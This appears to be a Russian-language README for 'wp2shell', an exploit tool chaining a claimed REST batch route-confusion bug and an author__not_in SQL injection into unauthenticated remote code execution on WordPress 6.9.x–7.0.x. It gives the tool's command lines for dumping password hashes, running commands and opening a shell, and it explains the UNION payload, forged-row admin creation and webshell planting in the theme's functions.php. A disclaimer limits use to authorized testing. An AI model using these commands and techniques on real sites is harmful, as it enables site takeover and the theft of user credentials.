
CVE-2026-63030 / wp2shell
Однодневная цепочка эксплойтов для удаленного выполнения кода в WordPress. Без аутентификации. CVSS 9.8.
Ноль зависимостей — только стандартная библиотека Python 3.8+.
| Ветка | Уязвимые | Исправленные |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | ≥ 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | ≥ 7.0.2 |
Два CVE объединены в удаленное выполнение кода без аутентификации:
CVE-2026-63030 (путаница маршрутов) → десинхронизация пакетов обходит аутентификацию
+
CVE-2026-60137 (SQL-инъекция) → author__not_in отправляет сырой SQL
↓
UNION-подделка строк WP_Post → мост customizer changeset → создание администратора
↓
Вход как администратор → редактор тем → webshell → RCE
# Только проверка — неразрушающая, подтверждает уязвимость
python3 exploit.py --url http://target:8080 --check
# Извлечение хэшей паролей администраторов из базы данных
python3 exploit.py --url http://target:8080 --dump-users
# Полная цепочка: SQLi → admin → webshell → команда
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"
# Интерактивная оболочка (с отслеживанием рабочей папки)
python3 exploit.py --url http://target:8080 --shell
# Чтение произвольных данных через UNION SQL-инъекцию
python3 exploit.py --url http://target:8080 --read "SELECT @@version"
# Пропуск моста предварительной аутентификации — используйте известные учетные данные
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami
--url URL Целевой базовый URL WordPress (обязательно)
--check Только проверка — не эксплуатировать
--dump-users Извлечь все учетные данные пользователей через UNION SQLi
--read SQL Прочитать скалярное SQL-выражение из базы данных
--cmd CMD Выполнить команду оболочки на цели
--shell Открыть интерактивную оболочку
--user USER Имя пользователя администратора (пропустить создание администратора до аутентификации)
--password PASS Пароль администратора (используйте с --user)
--proxy URL HTTP-прокси (например, http://127.0.0.1:8080)
--timeout SEC Тайм-аут запроса (по умолчанию: 30)
--no-cleanup Оставить webshell и учетную запись администратора на цели
Конечная точка пакетной обработки WordPress по адресу /?rest_route=/batch/v1 принимает массив подзапросов. Когда подзапрос имеет неразбираемый путь (///), WP_Error добавляется в $validation, но не в $matches. Затем цикл диспетчеризации сопоставляет запрос N с обработчиком N+1 — таким образом, запрос, проверенный по одной схеме, отправляется другому обработчику.
Эксплойт отправляет 3-уровневый вложенный пакет, где каждый уровень использует десинхронизирующий праймер в позиции 0 для сдвига индексов. Самый внутренний запрос — проверенный как элемент одного поста (GET /wp/v2/posts/999999) — попадает на обработчик коллекции (posts->get_items()). Поскольку схема элемента не определяет author_exclude, параметр проходит без проверки.
get_items() преобразует author_exclude → author__not_in и передает его в WP_Query. Когда author__not_in является строкой (не массивом), блок array_map('absint', …) пропускается. Сырая строка попадает непосредственно в:
WHERE post_author NOT IN (<payload>)
Полезная нагрузка 0) UNION ALL SELECT …-- - закрывает список NOT IN и добавляет произвольный SQL.
WordPress 7.0.x wp_posts имеет ровно 23 столбца. Внедряя поддельную строку через UNION ALL SELECT с orderby=none (подавляет завершающий ORDER BY) и per_page=500 (оставляет WP_Query в режиме полных строк), поддельный заголовок поста — содержащий маркер ||HEX|| — отражается в REST-ответе. Все строковые значения используют шестнадцатеричные литералы MySQL (0x…) для избежания проблем с экранированием кавычек через URL-кодирование.
[embed] → WordPress создает 3 строки oembed_cachewp_posts через UNION, формирующих цепочку изменений customizer[embed] обрабатывается, запуская WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user()wp2_<random>) и паролем (Wp2!<random>)Войти как новый администратор → извлечь nonce редактора тем → внедрить PHP webshell с защитой по токену в начало functions.php активной темы → доступ через ?t=<token>&c=<command>.
urllib, json, re, hashlib, secrets, html)wp_remote_post() перед сохранением. Если контейнер не может связаться с самим собой по имени хоста, редактирование темы блокируется. В таких случаях используйте --dump-users + ручной вход.--check.$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available
$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
ID=1 login=admin
pass=$wp$2y$10$...
...
Этот инструмент предназначен только для авторизованных исследований безопасности и образовательных целей. Используйте только против систем, которыми вы владеете или на тестирование которых имеете явное разрешение. Авторы не несут ответственности за неправомерное использование.
| Шаг | CVE | Вектор |
|---|
| 1 | CVE-2026-63030 | Несовпадение индексов REST /batch/v1 нарушает синхронизацию проверки и диспетчеризации |
| 2 | CVE-2026-60137 | Параметр author__not_in WP_Query пропускает absint() при передаче в виде строки |
| 3 | — | UNION SELECT создает поддельные строки wp_posts; oEmbed → customizer → wp_insert_user |
| 4 | — | Аутентификация как вновь созданный администратор |
| 5 | — | Редактор тем внедряет webshell с защитой по токену в активную тему |